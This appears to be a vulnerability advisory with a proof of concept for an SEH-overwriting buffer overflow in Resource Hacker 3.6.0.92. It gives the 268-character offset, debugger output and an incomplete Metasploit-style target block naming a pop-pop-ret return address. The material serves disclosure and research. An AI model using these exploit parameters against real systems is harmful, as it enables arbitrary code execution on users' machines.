# Exploit Title: Resource Hacker - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-06
# Vendor Homepage:
# Software Link :
# Tested Version:
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Heap-based buffer overflow controlling the Structured Exception Handler
(SEH) records in Reseource Hacker v3.6.0.92, and possibly other versions,
may allow attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open ResHacker.exe from command line with a large string in Arguments, more
than 268 chars:

File 'C:\ResourceHacker36\ResHacker.exe'

SEH chain of main thread
Address    SE handler
0018FCB4   316A4130
6A413969   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fcb4 overwritten with
normal pattern : 0x6a413969 (offset 268), followed by 12 bytes of cyclic
data after the handler

0BADF00D   ------------------------------
'Targets'        =>
[ '<fill in the OS/app version here>',
                                       'Ret'         =>    0x00426446, #
pop eax # pop ebx # ret    - ResHacker.exe (change this value from Mona,
with a not \x00 ret address)
                                       'Offset'    =>    268